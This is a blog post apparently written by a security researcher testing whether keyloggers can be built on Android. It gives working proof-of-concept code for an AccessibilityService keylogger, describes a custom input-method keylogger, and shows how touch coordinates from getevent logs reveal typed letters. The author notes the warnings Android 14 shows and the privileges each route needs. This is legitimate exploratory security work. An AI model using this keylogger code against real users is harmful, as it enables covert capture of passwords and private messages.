keylogger in android


I was quite surprised when i learned several years ago that both on Linux and Windows operating systems, a not-so privileged user (that is to say a non-root user on Linux and a non-Admin user on Windows) can use a keylogger by setting hooks.

Several techniques exist to do so (on Windows, function SetWindowsHookEx can be used to define a hook and intercept events incoming from keyboard ; on a Linux with X11 server, XNextEvent function can be used to get the keyborard events), and i wondered if such a thing was possible on an Android device: Can an unprivilegied application intercept keystrokes ?

Android is quite different from a « normal » PC with Linux or Windows and is a much more compartmentalized environment, were an unprivileged application (without any android permission) cannot do a lot of damage, so the question is maybe not really relevant.

On a PC, the typical malware/spyware installation scenarios are:

  • scenario where someone triggers you into executing code on your device,
  • scenario where someone with temporary access to your device abuses your trust and install something.

On a PC, such an attacker can do without being spotted (for instance on Linux you can modify .bashrc file to gain persistency. Unless you edit this file, this modification can pass under the radar).

The real question is therefore: Can someone with a temporary access to my phone install a keylogger without me noticing ?

AccessibilityService

As described on https://developer.android.com, the purpose of an accessibility service is to allow peoples with temporary or permanent disabilities to interact with their phone.

Such a service extends the AccessibilityService class. It receives some AccessibilityEvent and handle them with its onAccessibilityEvent method.

This service has a specific intent filter (whose action is android.accessibilityservice.AccessibilityService) declared in the app manifest.

Sending such intents requires the BIND_ACCESSIBILITY_SERVICE permission, which is reserved to system to ensure only system can bind to it:

<service
    android:name=".KeyloggingService"
    android:exported="true"
    android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
    <intent-filter>
        <action android:name="android.accessibilityservice.AccessibilityService" />
    </intent-filter>
</service>

A malware can use those functionalities to intercept the user activity and exfiltrate it.

This PoC only writes the keystrokes into logcat:

@Override
public void onAccessibilityEvent(AccessibilityEvent event) {

    Log.d("AccessibilityKeylogger", "onAccessibilityEvent() function");

    switch (event.getEventType())
    {
        case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:
            String c = event.getText().toString();
            Log.d("AccessibilityKeylogger", " keystroke: " + c);
            break;
        default:
            break;
    }
}

As shown is this screenshot, this keylogger works fine:

However, the system – at least on Android 14 (i haven’t test on previous Android versions) – the user is clearly asked whether he/she wants to use the app as an accessibility service, and is explicitely warned of the possible risks and consequences:

BIND_INPUT_METHOD

Another technique that allows to build a keylogger is based on InputMethodService and KeyboardView classes (this last class is deprecated, but it’s still possible to develop an application who uses it), which can be used to provide customized keyboards.

This app, an adapted version from

https://github.com/AbhishekNuevo/AndroidKeylogger, just dumps the keystrokes into logcat:

Here, again (at least on Android 14), the user is clearly warned about the possibles risks and consequences:

getevent and /dev/input/*

As described in https://docs.kernel.org/input/input.html, hardware provides events to device drivers.

Those events are forwarded to input subsystem who in its turn forwards them to event handlers.

It is possible to get such events from an adb shell using the getevent tool. This tool can provide information about the /dev/input/ devices:

More interesting, it allows to observe those events:

Each event has a timestamp, a type, a code and a value

Event types are described on common/include/uapi/linux/input-event-codes.h, and event code are described on common/include/uapi/linux/input-event-codes.h:

  • EV_ABS: This events represents a change on the area of the screen touched by the user.
    • ABS_MT_TRACKING_ID: Unique ID of the initiated contact
    • ABS_MT_POSITION_X: X coordinate of the pressed screen area
    • ABS_MT_POSITION_Y: Y coordinate of the pressed screen area
    • ABS_MT_PRESSURE: Pressure on contact area
  • EV_SYN is a special event type dedicated to separate input packets into. The only observed associated event code is SYN_REPORT.

We clearly see a pattern when a touch from the keyboard is pressed:

[   91540.241492] EV_ABS       ABS_MT_POSITION_X    00001425            
[   91540.241492] EV_ABS       ABS_MT_POSITION_Y    00005bad            
[   91540.241492] EV_ABS       ABS_MT_PRESSURE      00000400            
[   91540.241492] EV_SYN       SYN_REPORT           00000000            
[   91540.385397] EV_ABS       ABS_MT_PRESSURE      00000000            
[   91540.385397] EV_ABS       ABS_MT_TRACKING_ID   ffffffff            
[   91540.385397] EV_SYN       SYN_REPORT           00000000            
[   91541.717198] EV_ABS       ABS_MT_TRACKING_ID   00000000            
[   91541.717198] EV_ABS       ABS_MT_POSITION_X    00001f68            
[   91541.717198] EV_ABS       ABS_MT_PRESSURE      00000400            
[   91541.717198] EV_SYN       SYN_REPORT           00000000            
[   91541.897316] EV_ABS       ABS_MT_PRESSURE      00000000            
[   91541.897316] EV_ABS       ABS_MT_TRACKING_ID   ffffffff            
[   91541.897316] EV_SYN       SYN_REPORT           00000000            
[   91542.944620] EV_ABS       ABS_MT_TRACKING_ID   00000000

We can therefore parse the input events to recover which letter was typed using the coordinates of the event, using a small python script (https://github.com/T0lva/android_getevent/blob/master/interpret_event.py):

thomas@ankou:~/articles$ cat event.log
[     468.504723] EV_ABS       ABS_MT_TRACKING_ID   00000000            
[     468.504723] EV_ABS       ABS_MT_POSITION_X    00003999            
[     468.504723] EV_ABS       ABS_MT_POSITION_Y    00005b4d            
[     468.504723] EV_ABS       ABS_MT_PRESSURE      00000400            
[     468.504723] EV_SYN       SYN_REPORT           00000000            
[     468.682600] EV_ABS       ABS_MT_PRESSURE      00000000            
[     468.682600] EV_ABS       ABS_MT_TRACKING_ID   ffffffff            
[     468.682600] EV_SYN       SYN_REPORT           00000000            
[     470.997704] EV_ABS       ABS_MT_TRACKING_ID   00000000            
[     470.997704] EV_ABS       ABS_MT_POSITION_X    00006bba            
[     470.997704] EV_ABS       ABS_MT_POSITION_Y    00005b17            
[     470.997704] EV_ABS       ABS_MT_PRESSURE      00000400            
[     470.997704] EV_SYN       SYN_REPORT           00000000            
[     471.140407] EV_ABS       ABS_MT_PRESSURE      00000000            
[     471.140407] EV_ABS       ABS_MT_TRACKING_ID   ffffffff            
[     471.140407] EV_SYN       SYN_REPORT           00000000            
[     471.824975] EV_ABS       ABS_MT_TRACKING_ID   00000000            
[     471.824975] EV_ABS       ABS_MT_POSITION_X    00007313            
[     471.824975] EV_ABS       ABS_MT_POSITION_Y    000062ee            
[     471.824975] EV_ABS       ABS_MT_PRESSURE      00000400            
[     471.824975] EV_SYN       SYN_REPORT           00000000            
[     471.967737] EV_ABS       ABS_MT_PRESSURE      00000000            
[     471.967737] EV_ABS       ABS_MT_TRACKING_ID   ffffffff            
[     471.967737] EV_SYN       SYN_REPORT           00000000            
[     475.456775] EV_ABS       ABS_MT_TRACKING_ID   00000000            
[     475.456775] EV_ABS       ABS_MT_POSITION_X    00003fc2            
[     475.456775] EV_ABS       ABS_MT_POSITION_Y    00006ca2            
[     475.456775] EV_ABS       ABS_MT_PRESSURE      00000400            
[     475.456775] EV_SYN       SYN_REPORT           00000000            
[     475.456925] EV_ABS       ABS_MT_PRESSURE      00000000            
[     475.456925] EV_ABS       ABS_MT_TRACKING_ID   ffffffff            
[     475.456925] EV_SYN       SYN_REPORT           00000000            
[     475.460034] EV_ABS       ABS_MT_TRACKING_ID   00000000            
[     475.460034] EV_ABS       ABS_MT_POSITION_X    00000ed0            
[     475.460034] EV_ABS       ABS_MT_POSITION_Y    0000628e            
[     475.460034] EV_ABS       ABS_MT_PRESSURE      00000400            
[     475.460034] EV_SYN       SYN_REPORT           00000000            
[     476.477166] EV_ABS       ABS_MT_PRESSURE      00000000            
[     476.477166] EV_ABS       ABS_MT_TRACKING_ID   ffffffff            
[     476.477166] EV_SYN       SYN_REPORT           00000000            
[     529.386561] EV_ABS       ABS_MT_TRACKING_ID   00000000           
thomas@ankou:~/articles$ ./interpret_event.py ./event.log
./interpret_event.py
t
o
l
v
a

This therefore definitely allows to build a keylogger whose existence is not explicitly reported to the user with an warning message similar to those we’ve seen above.
However, this keylogger needs to be in the input group (gid = 1004), which is not the case of a normal application, which will have an uid greater than 10000.

getevent therefore doesn’t allow to build a keylogger without using the adb debug bridge, and that is probably for the best !


Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *